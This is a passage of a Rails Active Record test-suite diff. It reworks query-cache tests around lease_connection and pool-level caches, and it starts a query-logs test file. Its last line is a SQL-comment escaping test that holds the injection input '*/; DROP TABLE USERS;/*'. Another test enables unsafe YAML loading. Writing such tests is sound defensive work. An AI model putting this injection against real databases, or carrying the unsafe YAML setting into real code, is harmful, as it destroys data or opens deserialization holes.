-          ActiveRecord::Base.clear_active_connections!
-          assert_cache :off, thread_1_connection
+        thread_1_connection = ActiveRecord::Base.lease_connection
+        ActiveRecord::Base.connection_handler.clear_active_connections!(:all)
+        assert_cache :off, thread_1_connection
 
-          started = Concurrent::Event.new
-          checked = Concurrent::Event.new
+        started = Concurrent::Event.new
+        checked = Concurrent::Event.new
 
-          thread_2_connection = nil
-          thread = Thread.new {
-            thread_2_connection = ActiveRecord::Base.connection
+        thread_2_connection = nil
+        thread = Thread.new {
+          thread_2_connection = ActiveRecord::Base.lease_connection
 
-            assert_equal thread_2_connection, thread_1_connection
-            assert_cache :off
+          assert_equal thread_2_connection, thread_1_connection
+          assert_cache :off
 
-            middleware {
-              assert_cache :clean
+          middleware {
+            assert_cache :clean
 
-              Task.find 1
-              assert_cache :dirty
+            Task.find 1
+            assert_cache :dirty
 
-              started.set
-              checked.wait
+            started.set
+            checked.wait
 
-              ActiveRecord::Base.clear_active_connections!
-            }.call({})
-          }
+            ActiveRecord::Base.connection_handler.clear_active_connections!(:all)
+          }.call({})
+        }
 
-          started.wait
+        started.wait
 
-          thread_1_connection = ActiveRecord::Base.connection
-          assert_not_equal thread_1_connection, thread_2_connection
-          assert_cache :dirty, thread_2_connection
-          checked.set
-          thread.join
+        thread_1_connection = ActiveRecord::Base.lease_connection
+        assert_not_equal thread_1_connection, thread_2_connection
+        assert_cache :dirty, thread_2_connection
+        checked.set
+        thread.join
 
-          assert_cache :off, thread_2_connection
-        }.call({})
+        assert_cache :off, thread_2_connection
+      }.call({})
 
-        ActiveRecord::Base.connection_pool.connections.each do |conn|
-          assert_cache :off, conn
-        end
-      ensure
-        ActiveRecord::Base.clear_all_connections!
+      ActiveRecord::Base.connection_pool.connections.each do |conn|
+        assert_cache :off, conn
       end
     end
   end
@@ -149,7 +356,8 @@ def test_middleware_caches
     mw = middleware { |env|
       Task.find 1
       Task.find 1
-      assert_equal 1, ActiveRecord::Base.connection.query_cache.length
+      query_cache = ActiveRecord::Base.connection_pool.query_cache
+      assert_equal 1, query_cache.size, query_cache.inspect
       [200, {}, nil]
     }
     mw.call({})
@@ -169,38 +377,84 @@ def test_cache_passing_a_relation
     post = Post.first
     Post.cache do
       query = post.categories.select(:post_id)
-      assert Post.connection.select_all(query).is_a?(ActiveRecord::Result)
+      assert Post.lease_connection.select_all(query).is_a?(ActiveRecord::Result)
     end
   end
 
   def test_find_queries
-    assert_queries(2) { Task.find(1); Task.find(1) }
+    assert_queries_count(2) { Task.find(1); Task.find(1) }
   end
 
   def test_find_queries_with_cache
     Task.cache do
-      assert_queries(1) { Task.find(1); Task.find(1) }
+      assert_queries_count(1) { Task.find(1); Task.find(1) }
     end
   end
 
   def test_find_queries_with_cache_multi_record
     Task.cache do
-      assert_queries(2) { Task.find(1); Task.find(1); Task.find(2) }
+      assert_queries_count(2) { Task.find(1); Task.find(1); Task.find(2) }
     end
   end
 
   def test_find_queries_with_multi_cache_blocks
     Task.cache do
       Task.cache do
-        assert_queries(2) { Task.find(1); Task.find(2) }
+        assert_queries_count(2) { Task.find(1); Task.find(2) }
       end
-      assert_queries(0) { Task.find(1); Task.find(1); Task.find(2) }
+      assert_no_queries { Task.find(1); Task.find(1); Task.find(2) }
     end
   end
 
   def test_count_queries_with_cache
     Task.cache do
-      assert_queries(1) { Task.count; Task.count }
+      assert_queries_count(1) { Task.count; Task.count }
+    end
+  end
+
+  def test_exists_queries_with_cache
+    Post.cache do
+      assert_queries_count(1) { Post.exists?; Post.exists? }
+    end
+  end
+
+  def test_select_all_with_cache
+    Post.cache do
+      assert_queries_count(1) do
+        2.times { Post.lease_connection.select_all(Post.all) }
+      end
+    end
+  end
+
+  def test_select_one_with_cache
+    Post.cache do
+      assert_queries_count(1) do
+        2.times { Post.lease_connection.select_one(Post.all) }
+      end
+    end
+  end
+
+  def test_select_value_with_cache
+    Post.cache do
+      assert_queries_count(1) do
+        2.times { Post.lease_connection.select_value(Post.all) }
+      end
+    end
+  end
+
+  def test_select_values_with_cache
+    Post.cache do
+      assert_queries_count(1) do
+        2.times { Post.lease_connection.select_values(Post.all) }
+      end
+    end
+  end
+
+  def test_select_rows_with_cache
+    Post.cache do
+      assert_queries_count(1) do
+        2.times { Post.lease_connection.select_rows(Post.all) }
+      end
     end
   end
 
@@ -215,12 +469,32 @@ def test_query_cache_dups_results_correctly
     end
   end
 
+  def test_cache_notifications_can_be_overridden
+    logger = ShouldNotHaveExceptionsLogger.new
+    subscriber = ActiveSupport::Notifications.subscribe "sql.active_record", logger
+
+    connection = ActiveRecord::Base.lease_connection.dup
+
+    def connection.cache_notification_info(sql, name, binds)
+      super.merge(neat: true)
+    end
+
+    connection.cache do
+      connection.select_all "select 1"
+      connection.select_all "select 1"
+    end
+
+    assert_equal true, logger.events.last.payload[:neat]
+  ensure
+    ActiveSupport::Notifications.unsubscribe subscriber
+  end
+
   def test_cache_does_not_raise_exceptions
     logger = ShouldNotHaveExceptionsLogger.new
     subscriber = ActiveSupport::Notifications.subscribe "sql.active_record", logger
 
     ActiveRecord::Base.cache do
-      assert_queries(1) { Task.find(1); Task.find(1) }
+      assert_queries_count(1) { Task.find(1); Task.find(1) }
     end
 
     assert_not_predicate logger, :exception?
@@ -230,12 +504,14 @@ def test_cache_does_not_raise_exceptions
 
   def test_query_cache_does_not_allow_sql_key_mutation
     subscriber = ActiveSupport::Notifications.subscribe("sql.active_record") do |_, _, _, _, payload|
-      payload[:sql].downcase!
+      payload[:sql].downcase! if payload[:name] == "Task Load"
     end
 
-    assert_raises RuntimeError do
-      ActiveRecord::Base.cache do
-        assert_queries(1) { Task.find(1); Task.find(1) }
+    ActiveRecord::Base.cache do
+      assert_queries_count(1) do
+        assert_raises FrozenError do
+          Task.find(1)
+        end
       end
     end
   ensure
@@ -244,25 +520,17 @@ def test_query_cache_does_not_allow_sql_key_mutation
 
   def test_cache_is_flat
     Task.cache do
-      assert_queries(1) { Topic.find(1); Topic.find(1); }
+      assert_queries_count(1) { Topic.find(1); Topic.find(1) }
     end
 
     ActiveRecord::Base.cache do
-      assert_queries(1) { Task.find(1); Task.find(1) }
+      assert_queries_count(1) { Task.find(1); Task.find(1) }
     end
   end
 
-  def test_cache_does_not_wrap_string_results_in_arrays
+  def test_cache_does_not_wrap_results_in_arrays
     Task.cache do
-      # Oracle adapter returns count() as Integer or Float
-      if current_adapter?(:OracleAdapter)
-        assert_kind_of Numeric, Task.connection.select_value("SELECT count(*) AS count_all FROM tasks")
-      elsif current_adapter?(:SQLite3Adapter, :Mysql2Adapter, :PostgreSQLAdapter)
-        # Future versions of the sqlite3 adapter will return numeric
-        assert_instance_of 0.class, Task.connection.select_value("SELECT count(*) AS count_all FROM tasks")
-      else
-        assert_instance_of String, Task.connection.select_value("SELECT count(*) AS count_all FROM tasks")
-      end
+      assert_equal 2, Task.lease_connection.select_value("SELECT count(*) AS count_all FROM tasks")
     end
   end
 
@@ -270,7 +538,7 @@ def test_cache_is_ignored_for_locked_relations
     task = Task.find 1
 
     Task.cache do
-      assert_queries(2) { task.lock!; task.lock! }
+      assert_queries_count(2) { task.lock!; task.lock! }
     end
   end
 
@@ -279,79 +547,68 @@ def test_cache_is_available_when_connection_is_connected
 
     ActiveRecord::Base.configurations = {}
     Task.cache do
-      assert_queries(1) { Task.find(1); Task.find(1) }
+      assert_queries_count(1) { Task.find(1); Task.find(1) }
     end
   ensure
     ActiveRecord::Base.configurations = conf
   end
 
-  def test_cache_is_not_available_when_using_a_not_connected_connection
-    with_temporary_connection_pool do
-      spec_name = Task.connection_specification_name
-      conf = ActiveRecord::Base.configurations["arunit"].merge("name" => "test2")
-      ActiveRecord::Base.connection_handler.establish_connection(conf)
-      Task.connection_specification_name = "test2"
-      refute Task.connected?
+  def test_cache_is_available_when_using_a_not_connected_connection
+    skip "In-Memory DB can't test for using a not connected connection" if in_memory_db?
+    db_config = ActiveRecord::Base.connection_db_config
+    original_connection = ActiveRecord::Base.remove_connection
 
-      Task.cache do
-        begin
-          if in_memory_db?
-            Task.connection.create_table :tasks do |t|
-              t.datetime :starting
-              t.datetime :ending
-            end
-            ActiveRecord::FixtureSet.create_fixtures(self.class.fixture_path, ["tasks"], {}, ActiveRecord::Base)
-          end
-          Task.connection # warmup postgresql connection setup queries
-          assert_queries(2) { Task.find(1); Task.find(1) }
-        ensure
-          ActiveRecord::Base.connection_handler.remove_connection(Task.connection_specification_name)
-          Task.connection_specification_name = spec_name
-        end
-      end
+    ActiveRecord::Base.establish_connection(db_config)
+    assert_not_predicate Task, :connected?
+
+    Task.cache do
+      assert_queries_count(1) { Task.find(1) }
+      assert_no_queries { Task.find(1) }
+    ensure
+      ActiveRecord::Base.establish_connection(original_connection)
     end
   end
 
   def test_query_cache_executes_new_queries_within_block
-    ActiveRecord::Base.connection.enable_query_cache!
+    ActiveRecord::Base.lease_connection.enable_query_cache!
 
     # Warm up the cache by running the query
-    assert_queries(1) do
+    assert_queries_count(1) do
       assert_equal 0, Post.where(title: "test").to_a.count
     end
 
     # Check that if the same query is run again, no queries are executed
-    assert_queries(0) do
+    assert_no_queries do
       assert_equal 0, Post.where(title: "test").to_a.count
     end
 
-    ActiveRecord::Base.connection.uncached do
+    ActiveRecord::Base.lease_connection.uncached do
       # Check that new query is executed, avoiding the cache
-      assert_queries(1) do
+      assert_queries_count(1) do
         assert_equal 0, Post.where(title: "test").to_a.count
       end
     end
   end
 
   def test_query_cache_doesnt_leak_cached_results_of_rolled_back_queries
-    ActiveRecord::Base.connection.enable_query_cache!
+    ActiveRecord::Base.lease_connection.enable_query_cache!
     post = Post.first
 
     Post.transaction do
-      post.update_attributes(title: "rollback")
+      post.update(title: "rollback")
       assert_equal 1, Post.where(title: "rollback").to_a.count
       raise ActiveRecord::Rollback
     end
 
     assert_equal 0, Post.where(title: "rollback").to_a.count
 
-    ActiveRecord::Base.connection.uncached do
+    ActiveRecord::Base.lease_connection.uncached do
       assert_equal 0, Post.where(title: "rollback").to_a.count
     end
 
     begin
       Post.transaction do
-        post.update_attributes(title: "rollback")
+        post.update(title: "rollback")
         assert_equal 1, Post.where(title: "rollback").to_a.count
         raise "broken"
       end
@@ -360,7 +617,7 @@ def test_query_cache_doesnt_leak_cached_results_of_rolled_back_queries
 
     assert_equal 0, Post.where(title: "rollback").to_a.count
 
-    ActiveRecord::Base.connection.uncached do
+    ActiveRecord::Base.lease_connection.uncached do
       assert_equal 0, Post.where(title: "rollback").to_a.count
     end
   end
@@ -370,62 +627,218 @@ def test_query_cached_even_when_types_are_reset
       # Warm the cache
       Task.find(1)
 
-      Task.connection.type_map.clear
-
       # Preload the type cache again (so we don't have those queries issued during our assertions)
-      Task.connection.send(:initialize_type_map, Task.connection.type_map)
+      Task.lease_connection.send(:reload_type_map) if Task.lease_connection.respond_to?(:reload_type_map, true)
 
       # Clear places where type information is cached
       Task.reset_column_information
       Task.initialize_find_by_cache
+      Task.define_attribute_methods
 
-      assert_queries(0) do
+      assert_no_queries do
         Task.find(1)
       end
     end
   end
 
   def test_query_cache_does_not_establish_connection_if_unconnected
-    with_temporary_connection_pool do
-      ActiveRecord::Base.clear_active_connections!
-      refute ActiveRecord::Base.connection_handler.active_connections? # sanity check
+    ActiveRecord::Base.connection_handler.clear_active_connections!(:all)
+    assert_not ActiveRecord::Base.connection_handler.active_connections?(:all) # Double check they are cleared
 
-      middleware {
-        refute ActiveRecord::Base.connection_handler.active_connections?, "QueryCache forced ActiveRecord::Base to establish a connection in setup"
-      }.call({})
+    middleware {
+      assert_not ActiveRecord::Base.connection_handler.active_connections?(:all), "QueryCache forced ActiveRecord::Base to establish a connection in setup"
+    }.call({})
 
-      refute ActiveRecord::Base.connection_handler.active_connections?, "QueryCache forced ActiveRecord::Base to establish a connection in cleanup"
-    end
+    assert_not ActiveRecord::Base.connection_handler.active_connections?(:all), "QueryCache forced ActiveRecord::Base to establish a connection in cleanup"
   end
 
   def test_query_cache_is_enabled_on_connections_established_after_middleware_runs
-    with_temporary_connection_pool do
-      ActiveRecord::Base.clear_active_connections!
-      refute ActiveRecord::Base.connection_handler.active_connections? # sanity check
+    ActiveRecord::Base.connection_handler.clear_active_connections!(:all)
+    assert_not ActiveRecord::Base.connection_handler.active_connections?(:all) # Double check they are cleared
 
-      middleware {
-        assert ActiveRecord::Base.connection.query_cache_enabled, "QueryCache did not get lazily enabled"
-      }.call({})
-    end
+    middleware {
+      assert_predicate ActiveRecord::Base.lease_connection, :query_cache_enabled
+    }.call({})
+    assert_not_predicate ActiveRecord::Base.lease_connection, :query_cache_enabled
   end
 
   def test_query_caching_is_local_to_the_current_thread
-    with_temporary_connection_pool do
-      ActiveRecord::Base.clear_active_connections!
+    ActiveRecord::Base.connection_handler.clear_active_connections!(:all)
 
-      middleware {
-        assert ActiveRecord::Base.connection_pool.query_cache_enabled
-        assert ActiveRecord::Base.connection.query_cache_enabled
+    middleware {
+      assert ActiveRecord::Base.connection_pool.query_cache_enabled
+      assert ActiveRecord::Base.connection_pool.query_cache_enabled
 
-        Thread.new {
-          refute ActiveRecord::Base.connection_pool.query_cache_enabled
-          refute ActiveRecord::Base.connection.query_cache_enabled
-        }.join
-      }.call({})
+      Thread.new {
+        assert_not ActiveRecord::Base.connection_pool.query_cache_enabled
+        assert_not ActiveRecord::Base.connection_pool.query_cache_enabled
+
+        ActiveRecord::Base.connection_handler.clear_active_connections!(:all)
+      }.join
+    }.call({})
+  end
+
+  def test_query_cache_is_enabled_on_all_connection_pools
+    middleware {
+      ActiveRecord::Base.connection_handler.connection_pool_list(:all).each do |pool|
+        assert pool.query_cache_enabled
+        assert pool.with_connection(&:query_cache_enabled)
+      end
+    }.call({})
+  end
 
+  # with in memory db, reading role won't be able to see database on writing role
+  unless in_memory_db?
+    def test_clear_query_cache_is_called_on_all_connections
+      ActiveRecord::Base.connected_to(role: :reading) do
+        db_config = ActiveRecord::Base.configurations.configs_for(env_name: "arunit", name: "primary")
+        ActiveRecord::Base.establish_connection(db_config)
+      end
+
+      mw = middleware { |env|
+        ActiveRecord::Base.connected_to(role: :reading) do
+          @topic = Topic.first
+        end
+
+        assert @topic
+
+        ActiveRecord::Base.connected_to(role: :writing) do
+          @topic.title = "Topic title"
+          @topic.save!
+        end
+
+        assert_equal "Topic title", @topic.title
+
+        ActiveRecord::Base.connected_to(role: :reading) do
+          @topic = Topic.first
+          assert_equal "Topic title", @topic.title
+        end
+      }
+
+      mw.call({})
+    ensure
+      clean_up_connection_handler
     end
   end
 
+  test "query cache is enabled in threads with shared connection" do
+    ActiveRecord::Base.connection_pool.pin_connection!(ActiveSupport::IsolatedExecutionState.context)
+
+    begin
+      assert_cache :off
+      ActiveRecord::Base.lease_connection.enable_query_cache!
+      assert_cache :clean
+
+      main_thread_cache = ActiveRecord::Base.lease_connection.query_cache
+      assert_same main_thread_cache, ActiveRecord::Base.lease_connection.query_cache
+
+      thread_a = Thread.new do
+        middleware { |env|
+          assert_cache :clean
+
+          # In a background thread, the cache instance must stay consistent but be different from the main
+          # thread.
+          background_thread_cache = ActiveRecord::Base.lease_connection.query_cache
+          assert_same background_thread_cache, ActiveRecord::Base.lease_connection.query_cache
+          assert_not_same main_thread_cache, ActiveRecord::Base.lease_connection.query_cache
+          [200, {}, nil]
+        }.call({})
+      end
+
+      thread_a.join
+
+      assert_same main_thread_cache, ActiveRecord::Base.lease_connection.query_cache
+    ensure
+      ActiveRecord::Base.connection_pool.unpin_connection!
+      assert_same main_thread_cache, ActiveRecord::Base.lease_connection.query_cache
+    end
+  end
+
+  test "query cache is cleared for all thread when a connection is shared" do
+    ActiveRecord::Base.connection_pool.pin_connection!(ActiveSupport::IsolatedExecutionState.context)
+
+    begin
+      assert_cache :off
+      ActiveRecord::Base.lease_connection.enable_query_cache!
+      assert_cache :clean
+
+      Post.first
+      assert_cache :dirty
+
+      thread_a = Thread.new do
+        middleware { |env|
+          assert_cache :clean
+
+          Post.first
+          assert_cache :dirty
+
+          Post.delete_all
+
+          assert_cache :clean
+
+          [200, {}, nil]
+        }.call({})
+      end
+
+      thread_a.join
+
+      assert_cache :clean
+    ensure
+      ActiveRecord::Base.connection_pool.unpin_connection!
+    end
+  end
+
+  def test_query_cache_uncached_dirties
+    mw = middleware { |env|
+      Post.first
+      assert_no_changes -> { ActiveRecord::Base.connection_pool.query_cache.size } do
+        Post.uncached(dirties: false) { Post.create!(title: "a new post", body: "and a body") }
+      end
+
+      assert_changes -> { ActiveRecord::Base.connection_pool.query_cache.size }, from: 1, to: 0 do
+        Post.uncached(dirties: true) { Post.create!(title: "a new post", body: "and a body") }
+      end
+    }
+    mw.call({})
+  end
+
+  def test_query_cache_connection_uncached_dirties
+    mw = middleware { |env|
+      Post.first
+      assert_no_changes -> { ActiveRecord::Base.connection_pool.query_cache.size } do
+        Post.lease_connection.uncached(dirties: false) { Post.create!(title: "a new post", body: "and a body") }
+      end
+
+      assert_changes -> { ActiveRecord::Base.connection_pool.query_cache.size }, from: 1, to: 0 do
+        Post.lease_connection.uncached(dirties: true) { Post.create!(title: "a new post", body: "and a body") }
+      end
+    }
+    mw.call({})
+  end
+
+  def test_query_cache_uncached_dirties_disabled_with_nested_cache
+    mw = middleware { |env|
+      Post.first
+      assert_changes -> { ActiveRecord::Base.connection_pool.query_cache.size }, from: 1, to: 0 do
+        Post.uncached(dirties: false) do
+          Post.cache do
+            Post.create!(title: "a new post", body: "and a body")
+          end
+        end
+      end
+
+      Post.first
+      assert_changes -> { ActiveRecord::Base.connection_pool.query_cache.size }, from: 1, to: 0 do
+        Post.lease_connection.uncached(dirties: false) do
+          Post.lease_connection.cache do
+            Post.create!(title: "a new post", body: "and a body")
+          end
+        end
+      end
+    }
+    mw.call({})
+  end
+
   private
     def middleware(&app)
       executor = Class.new(ActiveSupport::Executor)
@@ -433,28 +846,133 @@ def middleware(&app)
       lambda { |env| executor.wrap { app.call(env) } }
     end
 
-    def assert_cache(state, connection = ActiveRecord::Base.connection)
+    def assert_cache(state, connection = ActiveRecord::Base.lease_connection)
       case state
       when :off
-        assert !connection.query_cache_enabled, "cache should be off"
-        assert connection.query_cache.empty?, "cache should be empty"
+        assert_not connection.query_cache_enabled, "cache should be off"
+        if connection.query_cache.nil?
+          assert_nil connection.query_cache
+        else
+          assert_predicate connection.query_cache, :empty?, "cache should be nil or empty"
+        end
       when :clean
         assert connection.query_cache_enabled, "cache should be on"
-        assert connection.query_cache.empty?, "cache should be empty"
+        assert_not_nil connection.query_cache
+        assert_predicate connection.query_cache, :empty?, "cache should be empty"
       when :dirty
         assert connection.query_cache_enabled, "cache should be on"
-        assert !connection.query_cache.empty?, "cache should be dirty"
+        assert_not_nil connection.query_cache
+        assert_not_predicate connection.query_cache, :empty?, "cache should be dirty"
       else
         raise "unknown state"
       end
     end
 end
 
+class QueryCacheMutableParamTest < ActiveRecord::TestCase
+  self.use_transactional_tests = false
+
+  class JsonObj < ActiveRecord::Base
+    self.table_name = "json_objs"
+
+    attribute :payload, :json
+  end
+
+  class ObjectFixedHash < Struct.new(:a, :b)
+    # this isn't very realistic, but it is the worst case and therefore a good
+    # case to test
+    def hash
+      1
+    end
+  end
+
+  def setup
+    ActiveRecord::Base.lease_connection.create_table("json_objs", force: true) do |t|
+      if current_adapter?(:PostgreSQLAdapter)
+        t.jsonb "payload"
+      else
+        t.json "payload"
+      end
+    end
+
+    ActiveRecord::Base.lease_connection.enable_query_cache!
+  end
+
+  def test_query_cache_handles_mutated_binds
+    JsonObj.create(payload: ObjectFixedHash.new({ a: 1 }))
+
+    search = ObjectFixedHash.new({ a: 1 })
+    JsonObj.where(payload: search).first # populate the cache
+
+    search.b = 2
+    assert_nil JsonObj.where(payload: search).first, "cache returned a false positive"
+  end
+
+  def teardown
+    ActiveRecord::Base.lease_connection.disable_query_cache!
+    ActiveRecord::Base.lease_connection.drop_table("json_objs", if_exists: true)
+  end
+end
+
+class QuerySerializedParamTest < ActiveRecord::TestCase
+  self.use_transactional_tests = false
+
+  fixtures :topics
+
+  class YAMLObj < ActiveRecord::Base
+    self.table_name = "yaml_objs"
+
+    serialize :payload
+  end
+
+  def setup
+    @use_yaml_unsafe_load_was = ActiveRecord.use_yaml_unsafe_load
+
+    ActiveRecord::Base.lease_connection.create_table("yaml_objs", force: true) do |t|
+      t.text "payload"
+    end
+
+    ActiveRecord::Base.lease_connection.enable_query_cache!
+  end
+
+  def teardown
+    ActiveRecord::Base.lease_connection.disable_query_cache!
+    ActiveRecord::Base.lease_connection.drop_table("yaml_objs", if_exists: true)
+
+    ActiveRecord.use_yaml_unsafe_load = @use_yaml_unsafe_load_was
+  end
+
+  def test_query_serialized_active_record
+    ActiveRecord.use_yaml_unsafe_load = true
+
+    topic = Topic.first
+    assert_not_nil topic
+
+    obj = YAMLObj.create!(payload: { topic: topic })
+
+    # This is absolutely terrible, no-one should ever do this
+    assert_equal obj, YAMLObj.where(payload: { topic: topic }).first
+
+    relation = YAMLObj.where(payload: { topic: topic })
+    topic.title = "New Title"
+    assert_equal obj, relation.first
+
+    assert_nil YAMLObj.where(payload: { topic: topic }).first
+  end
+
+  def test_query_serialized_string
+    ActiveRecord.use_yaml_unsafe_load = false
+
+    obj = YAMLObj.create!(payload: "payload")
+    assert_equal obj, YAMLObj.find_by!(payload: "payload")
+  end
+end
+
 class QueryCacheExpiryTest < ActiveRecord::TestCase
   fixtures :tasks, :posts, :categories, :categories_posts
 
   def teardown
-    Task.connection.clear_query_cache
+    Task.lease_connection.clear_query_cache
   end
 
   def test_cache_gets_cleared_after_migration
@@ -462,34 +980,44 @@ def test_cache_gets_cleared_after_migration
     Post.find(1)
 
     # change the column definition
-    Post.connection.change_column :posts, :title, :string, limit: 80
+    Post.lease_connection.change_column :posts, :title, :string, limit: 80
     assert_nothing_raised { Post.find(1) }
 
     # restore the old definition
-    Post.connection.change_column :posts, :title, :string
+    Post.lease_connection.change_column :posts, :title, :string
   end
 
   def test_find
-    assert_called(Task.connection, :clear_query_cache) do
-      assert !Task.connection.query_cache_enabled
+    assert_called(Task.connection_pool.query_cache, :clear, times: 1) do
+      assert_not Task.connection_pool.query_cache_enabled
       Task.cache do
-        assert Task.connection.query_cache_enabled
+        assert Task.connection_pool.query_cache_enabled
         Task.find(1)
 
         Task.uncached do
-          assert !Task.connection.query_cache_enabled
+          assert_not Task.connection_pool.query_cache_enabled
           Task.find(1)
         end
 
-        assert Task.connection.query_cache_enabled
+        assert Task.connection_pool.query_cache_enabled
       end
-      assert !Task.connection.query_cache_enabled
+      assert_not Task.connection_pool.query_cache_enabled
+    end
+  end
+
+  def test_enable_disable
+    assert_called(Task.connection_pool.query_cache, :clear, times: 1) do
+      Task.cache { }
+    end
+
+    assert_called(Task.connection_pool.query_cache, :clear, times: 1) do
+      Task.cache { Task.cache { } }
     end
   end
 
   def test_update
-    assert_called(Task.connection, :clear_query_cache, times: 2) do
-      Task.cache do
+    Task.cache do
+      assert_called(Task.connection_pool.query_cache, :clear, times: 1) do
         task = Task.find(1)
         task.starting = Time.now.utc
         task.save!
@@ -498,24 +1026,64 @@ def test_update
   end
 
   def test_destroy
-    assert_called(Task.connection, :clear_query_cache, times: 2) do
-      Task.cache do
+    Task.cache do
+      assert_called(Task.connection_pool.query_cache, :clear, times: 1) do
         Task.find(1).destroy
       end
     end
   end
 
   def test_insert
-    assert_called(ActiveRecord::Base.connection, :clear_query_cache, times: 2) do
-      Task.cache do
+    Task.cache do
+      assert_called(ActiveRecord::Base.connection_pool.query_cache, :clear, times: 1) do
         Task.create!
       end
     end
   end
 
+  def test_insert_all
+    skip unless supports_insert_on_duplicate_skip?
+
+    Task.cache do
+      assert_called(ActiveRecord::Base.connection_pool.query_cache, :clear, times: 1) do
+        Task.insert({ starting: Time.now })
+      end
+
+      assert_called(ActiveRecord::Base.connection_pool.query_cache, :clear, times: 1) do
+        Task.insert_all([{ starting: Time.now }])
+      end
+    end
+  end
+
+  def test_insert_all_bang
+    Task.cache do
+      assert_called(ActiveRecord::Base.connection_pool.query_cache, :clear, times: 1) do
+        Task.insert!({ starting: Time.now })
+      end
+
+      assert_called(ActiveRecord::Base.connection_pool.query_cache, :clear, times: 1) do
+        Task.insert_all!([{ starting: Time.now }])
+      end
+    end
+  end
+
+  def test_upsert_all
+    skip unless supports_insert_on_duplicate_update?
+
+    Task.cache do
+      assert_called(ActiveRecord::Base.connection_pool.query_cache, :clear, times: 1) do
+        Task.upsert({ starting: Time.now })
+      end
+
+      assert_called(ActiveRecord::Base.connection_pool.query_cache, :clear, times: 1) do
+        Task.upsert_all([{ starting: Time.now }])
+      end
+    end
+  end
+
   def test_cache_is_expired_by_habtm_update
-    assert_called(ActiveRecord::Base.connection, :clear_query_cache, times: 2) do
-      ActiveRecord::Base.cache do
+    ActiveRecord::Base.cache do
+      assert_called(ActiveRecord::Base.connection_pool.query_cache, :clear, times: 1) do
         c = Category.first
         p = Post.first
         p.categories << c
@@ -524,12 +1092,103 @@ def test_cache_is_expired_by_habtm_update
   end
 
   def test_cache_is_expired_by_habtm_delete
-    assert_called(ActiveRecord::Base.connection, :clear_query_cache, times: 2) do
-      ActiveRecord::Base.cache do
+    ActiveRecord::Base.cache do
+      assert_called(ActiveRecord::Base.connection_pool.query_cache, :clear, times: 1) do
         p = Post.find(1)
-        assert p.categories.any?
+        assert_predicate p.categories, :any?
         p.categories.delete_all
       end
     end
   end
+
+  def test_query_cache_lru_eviction
+    store = ActiveRecord::ConnectionAdapters::QueryCache::Store.new(Concurrent::AtomicFixnum.new, 2)
+    store.enabled = true
+
+    connection = Post.lease_connection
+    old_store, connection.query_cache = connection.query_cache, store
+    begin
+      Post.cache do
+        assert_queries_count(2) do
+          connection.select_all("SELECT 1")
+          connection.select_all("SELECT 2")
+          connection.select_all("SELECT 1")
+        end
+
+        assert_queries_count(1) do
+          connection.select_all("SELECT 3")
+          connection.select_all("SELECT 3")
+        end
+
+        assert_no_queries do
+          connection.select_all("SELECT 1")
+        end
+
+        assert_queries_count(1) do
+          connection.select_all("SELECT 2")
+        end
+      end
+    ensure
+      connection.query_cache = old_store
+    end
+  end
+
+  test "threads use the same connection" do
+    @connection_1 = ActiveRecord::Base.lease_connection.object_id
+
+    thread_a = Thread.new do
+      @connection_2 = ActiveRecord::Base.lease_connection.object_id
+    end
+
+    thread_a.join
+
+    assert_equal @connection_1, @connection_2
+  end
+end
+
+class TransactionInCachedSqlActiveRecordPayloadTest < ActiveRecord::TestCase
+  # We need current_transaction to return the null transaction.
+  self.use_transactional_tests = false
+
+  def test_payload_without_open_transaction
+    asserted = false
+
+    subscriber = ActiveSupport::Notifications.subscribe("sql.active_record") do |event|
+      if event.payload[:cached]
+        assert_nil event.payload.fetch(:transaction)
+        asserted = true
+      end
+    end
+    Task.cache do
+      2.times { Task.count }
+    end
+
+    assert asserted
+  ensure
+    ActiveSupport::Notifications.unsubscribe(subscriber)
+  end
+
+  def test_payload_with_open_transaction
+    asserted = false
+    expected_transaction = nil
+
+    subscriber = ActiveSupport::Notifications.subscribe("sql.active_record") do |event|
+      if event.payload[:cached]
+        assert_same expected_transaction, event.payload[:transaction]
+        asserted = true
+      end
+    end
+
+    Task.transaction do |transaction|
+      expected_transaction = transaction
+
+      Task.cache do
+        2.times { Task.count }
+      end
+    end
+
+    assert asserted
+  ensure
+    ActiveSupport::Notifications.unsubscribe(subscriber)
+  end
 end
diff --git a/activerecord/test/cases/query_logs_test.rb b/activerecord/test/cases/query_logs_test.rb
new file mode 100644
index 0000000000000..7372567883052
--- /dev/null
+++ b/activerecord/test/cases/query_logs_test.rb
@@ -0,0 +1,283 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "models/dashboard"
+
+class QueryLogsTest < ActiveRecord::TestCase
+  fixtures :dashboards
+
+  def setup
+    # ActiveSupport::ExecutionContext context is automatically reset in Rails app via an executor hooks set in railtie
+    # But not in Active Record's own test suite.
+    ActiveSupport::ExecutionContext.clear
+
+    # Enable the query tags logging
+    @original_transformers = ActiveRecord.query_transformers
+    @original_prepend = ActiveRecord::QueryLogs.prepend_comment
+    @original_tags = ActiveRecord::QueryLogs.tags
+    @original_taggings = ActiveRecord::QueryLogs.taggings
+    ActiveRecord.query_transformers += [ActiveRecord::QueryLogs]
+    ActiveRecord::QueryLogs.prepend_comment = false
+    ActiveRecord::QueryLogs.cache_query_log_tags = false
+    ActiveRecord::QueryLogs.cached_comment = nil
+    ActiveRecord::QueryLogs.taggings = {
+      application: -> { "active_record" }
+    }
+  end
+
+  def teardown
+    ActiveRecord.query_transformers = @original_transformers
+    ActiveRecord::QueryLogs.prepend_comment = @original_prepend
+    ActiveRecord::QueryLogs.tags = @original_tags
+    ActiveRecord::QueryLogs.taggings = @original_taggings
+    ActiveRecord::QueryLogs.prepend_comment = false
+    ActiveRecord::QueryLogs.cache_query_log_tags = false
+    ActiveRecord::QueryLogs.clear_cache
+    ActiveRecord::QueryLogs.tags_formatter = :legacy
+
+    # ActiveSupport::ExecutionContext context is automatically reset in Rails app via an executor hooks set in railtie
+    # But not in Active Record's own test suite.
+    ActiveSupport::ExecutionContext.clear
+  end
+
+  def test_escaping_good_comment
+    assert_equal "app:foo", ActiveRecord::QueryLogs.send(:escape_sql_comment, "app:foo")
+  end
+
+  def test_escaping_good_comment_with_custom_separator
+    ActiveRecord::QueryLogs.tags_formatter = :sqlcommenter
+
+    assert_equal "app='foo'", ActiveRecord::QueryLogs.send(:escape_sql_comment, "app='foo'")
+  end
+
+  def test_escaping_bad_comments
+    assert_equal "* /; DROP TABLE USERS;/ *", ActiveRecord::QueryLogs.send(:escape_sql_comment, "*/; DROP TABLE USERS;/*")
